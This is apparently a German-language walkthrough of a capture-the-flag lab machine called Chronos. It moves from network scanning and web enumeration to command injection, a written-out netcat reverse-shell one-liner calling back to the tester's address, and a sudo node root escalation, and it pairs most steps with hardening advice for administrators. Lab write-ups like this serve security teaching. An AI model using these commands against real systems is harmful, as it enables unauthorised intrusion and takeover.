In diesem Abschnitt führen wir die ersten Schritte der Reconnaissance durch, um Informationen über das Zielsystem zu sammeln. Dies umfasst das Scannen des Netzwerks, um aktive Hosts zu identifizieren, und das anschließende Scannen dieser Hosts, um offene Ports und laufende Dienste zu ermitteln.
`arp-scan -l` wird verwendet, um alle Hosts im lokalen Netzwerk zu identifizieren. Hier sehen wir, dass die IP-Adresse 192.168.2.134 aktiv ist und eine MAC-Adresse von 08:00:27:5b:56:f8 hat. Diese Information hilft uns, das Zielsystem genauer zu identifizieren. Empfehlung für den Systemadministrator: Die ARP-Tabelle regelmäßig überprüfen, um unautorisierte Geräte im Netzwerk zu erkennen.
`nmap -sS -sC -T5 -AO 192.168.2.134 -p- | grep open` führt einen umfassenden Scan aller Ports (p-) auf dem Zielsystem durch, um offene Ports und zugehörige Dienste zu identifizieren. Die Optionen -sS (SYN-Scan), -sC (Standard-Skripte), -T5 (schnellste Scan-Geschwindigkeit) und -AO (Aggressives OS-Erkennung) werden verwendet, um detaillierte Informationen zu erhalten. Die Ausgabe wird gefiltert, um nur offene Ports anzuzeigen. Wir sehen, dass die Ports 22 (SSH), 80 (HTTP) und 8000 (Node.js) offen sind. Dies deutet auf mögliche Angriffsvektoren hin. Empfehlung für den Pentester: Die gefundenen Ports und Dienste genauer untersuchen, um Schwachstellen zu identifizieren. Empfehlung für den Systemadministrator: Die laufenden Dienste auf dem neuesten Stand halten und unnötige Dienste deaktivieren.
Dieser Nmap-Scan liefert detailliertere Informationen über die offenen Ports und die laufenden Dienste. Wir sehen die genauen Versionen von SSH und Apache, was uns hilft, gezielte Exploits zu suchen. Die Erkennung des Betriebssystems (Linux 4.15 - 5.6) ermöglicht es uns, betriebssystemspezifische Schwachstellen zu berücksichtigen. Die Ausgabe zeigt auch die MAC-Adresse des Systems, was darauf hindeutet, dass es sich um eine virtuelle Maschine handelt (Oracle VirtualBox). Empfehlung für den Pentester: Die Versionsnummern der Dienste verwenden, um nach bekannten Schwachstellen zu suchen. Empfehlung für den Systemadministrator: Regelmäßige Sicherheitsupdates durchführen, um bekannte Schwachstellen zu beheben.
In diesem Abschnitt konzentrieren wir uns auf die Enumeration der Webdienste, die auf den Ports 80 und 8000 laufen. Wir verwenden Tools wie Nikto und Gobuster, um versteckte Dateien, Verzeichnisse und potenzielle Schwachstellen zu finden.
Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen und Konfigurationsfehler prüft. In diesem Fall hat Nikto mehrere interessante Punkte gefunden: * Das Fehlen von X-Frame-Options und X-Content-Type-Options Headern stellt ein potenzielles Sicherheitsrisiko dar. * Die Directory Indexing im /css/ Verzeichnis ist aktiviert, was Angreifern ermöglicht, den Inhalt des Verzeichnisses aufzulisten. * Die Verwendung einer veralteten Apache-Version birgt das Risiko bekannter Schwachstellen. Empfehlung für den Pentester: Die gefundenen Schwachstellen manuell überprüfen und ausnutzen. Empfehlung für den Systemadministrator: Die fehlenden Header hinzufügen, Directory Indexing deaktivieren und Apache aktualisieren.
Diese Zeile scheint ein Hinweis auf eine URL zu sein, die über Web Enumeration gefunden wurde. Die URL enthält einen "format"-Parameter mit einem Base58-kodierten Wert. Dies könnte ein Hinweis auf eine Eingabevalidierungsproblematik sein. Empfehlung für den Pentester: Die URL und den "format"-Parameter genauer untersuchen, um mögliche Schwachstellen zu finden (z.B. Command Injection).
Hier wird die /etc/hosts Datei bearbeitet, um den Hostnamen chronos.local der IP-Adresse 192.168.2.134 zuzuordnen. Dies ermöglicht es uns, die Website über den Hostnamen statt der IP-Adresse aufzurufen, was in einigen Fällen erforderlich sein kann, um bestimmte Funktionen zu nutzen oder Schwachstellen auszunutzen. Empfehlung für den Pentester: Die /etc/hosts Datei verwenden, um das Zielsystem mit einem Hostnamen anzusprechen. Empfehlung für den Systemadministrator: Sicherstellen, dass die /etc/hosts Datei nicht von unbefugten Benutzern geändert werden kann.
Dieser Abschnitt zeigt die Verwendung von CyberChef, einem Online-Tool zur Datenmanipulation, um den Base58-kodierten Wert zu dekodieren. Das Ergebnis ist ein Datumsformatstring. Dies bestätigt die Vermutung, dass der "format"-Parameter in der URL http://chronos.local:8000/date zur Formatierung der Ausgabe verwendet wird. Empfehlung für den Pentester: Versuchen, den Formatstring zu manipulieren, um möglicherweise Code auszuführen (Template Injection).
Dieser Curl-Befehl sendet eine HEAD-Anfrage an http://chronos.local:8000 und zeigt die HTTP-Header der Antwort an. Die Header geben Auskunft über den Webserver (Express), aktivierte CORS (Access-Control-Allow-Origin: *) und andere Details. Empfehlung für den Pentester: Die Header analysieren, um weitere Informationen über den Webserver und seine Konfiguration zu erhalten. Empfehlung für den Systemadministrator: Die HTTP-Header sorgfältig konfigurieren, um unnötige Informationen zu vermeiden.
Dieser Abschnitt zeigt, dass das /css/ Verzeichnis auf dem Webserver unter Port 80 Directory Indexing aktiviert hat. Dies ermöglicht es, die CSS-Datei (style.css) direkt herunterzuladen und einzusehen. Empfehlung für den Pentester: Die CSS-Datei analysieren, um möglicherweise Informationen über die Website-Struktur oder Schwachstellen zu finden. Empfehlung für den Systemadministrator: Directory Indexing deaktivieren.
Gobuster ist ein Tool zur Durchführung von Directory Bruteforcing. Hier wird es verwendet, um versteckte Verzeichnisse und Dateien auf dem Webserver unter Port 80 zu finden. Die Ausgabe zeigt, dass /index.html und /css/ gefunden wurden, sowie die /date Route auf Port 8000, die einen 500 Fehler zurückgibt. Empfehlung für den Pentester: Die gefundenen Verzeichnisse und Dateien genauer untersuchen, um mögliche Schwachstellen zu finden. Den 500 Fehler auf der /date Route analysieren.
In diesem Abschnitt versuchen wir, initialen Zugriff auf das System zu erlangen. Basierend auf den Ergebnissen der Web Enumeration konzentrieren wir uns auf die Schwachstelle in der /date Route auf Port 8000.
Dieser Befehl startet einen Netcat Listener auf Port 9001. Dies dient dazu, eine Reverse Shell zu empfangen, falls wir eine Schwachstelle finden, die uns die Ausführung von Code auf dem Zielsystem ermöglicht. Empfehlung für den Pentester: Sicherstellen, dass der Netcat Listener aktiv ist, bevor ein Exploit ausgeführt wird.
Dieser Abschnitt zeigt den Payload, der verwendet wird, um die Schwachstelle in der /date Route auszunutzen. Der Payload enthält einen Base58-kodierten String, der, wenn dekodiert, einen Befehl zur Erstellung einer Reverse Shell enthält. Der Befehl `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.127 9001 >/tmp/f` erstellt eine Named Pipe, leitet die Standardeingabe, Standardausgabe und Standardfehler über Netcat zu unserer Listener-Adresse und führt eine interaktive Shell aus. Empfehlung für den Pentester: Den Payload sorgfältig erstellen und testen, um sicherzustellen, dass er korrekt funktioniert.
Hier sehen wir, dass der Netcat Listener eine Verbindung vom Zielsystem empfangen hat. Die Meldung "/bin/sh: 0: can't access tty; job control turned off" deutet darauf hin, dass wir eine Reverse Shell erhalten haben, aber ohne TTY (Terminal). Empfehlung für den Pentester: Versuchen, ein TTY zu erzeugen, um die Shell interaktiver zu machen (z.B. mit `python3 -c 'import pty; pty.spawn("/bin/bash")'`).
Wir sind jetzt als Benutzer `www-data` angemeldet. Mit dem Befehl `ls -la` untersuchen wir das `/opt` Verzeichnis. Interessant sind die Verzeichnisse `chronos` und `chronos-v2`, die unterschiedliche Berechtigungen haben. Empfehlung für den Pentester: Die Verzeichnisse `chronos` und `chronos-v2` genauer untersuchen, um möglicherweise interessante Dateien oder Konfigurationen zu finden.
Wir wechseln in das `chronos` Verzeichnis und listen dessen Inhalt auf. Wir sehen typische Dateien einer Node.js-Anwendung. Empfehlung für den Pentester: Die `app.js` Datei untersuchen, um die Funktionalität der Anwendung zu verstehen und mögliche Schwachstellen zu finden.
Wir lesen den Inhalt der `app.js` Datei aus. Der Kommentar "created by alienum for Penetration Testing" deutet darauf hin, dass es sich um eine absichtlich verwundbare Anwendung handelt. Die Verwendung von `child_process.exec` könnte ein potenzielles Sicherheitsrisiko darstellen, wenn Benutzereingaben ungeprüft an diese Funktion übergeben werden. Empfehlung für den Pentester: Die Verwendung von `child_process.exec` genauer untersuchen, um mögliche Command Injection Schwachstellen zu finden.
Der Befehl `ss -atlpn` zeigt eine Liste aller Listening Sockets an. Wir sehen, dass Port 8000 von Node.js verwendet wird, was unsere vorherige Analyse bestätigt. Interessant ist auch Port 8080, der von einem anderen Dienst auf localhost verwendet wird. Empfehlung für den Pentester: Den Dienst auf Port 8080 untersuchen, um möglicherweise weitere Schwachstellen zu finden.
Dieser Proof of Concept demonstriert, wie eine Schwachstelle in der Express-fileupload Middleware ausgenutzt werden kann, um eine Reverse Shell als Benutzer `imera` zu erhalten und anschließend durch Ausnutzung von Sudo-Rechten Root-Privilegien zu erlangen.
Nachdem wir initialen Zugriff als Benutzer `imera` erhalten haben, versuchen wir nun, Root-Privilegien zu erlangen.
Der Befehl `sudo -l` zeigt die Sudo-Rechte des aktuellen Benutzers an. Wir sehen, dass der Benutzer `imera` die Befehle `/usr/local/bin/npm` und `/usr/local/bin/node` ohne Passwort ausführen darf. Dies ist eine potenzielle Privilege Escalation Möglichkeit. Empfehlung für den Pentester: Die Sudo-Rechte des Benutzers `imera` ausnutzen, um Root-Privilegien zu erlangen.
Fantastisch! Der Root-Zugriff war erfolgreich, nun haben wir unser Ziel erreicht. Mit dem Befehl `sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'` starten wir eine neue Shell mit Root-Rechten. Der Befehl `id` bestätigt, dass wir nun als Benutzer `root` angemeldet sind.
cat root.txt
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
cat user.txt
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK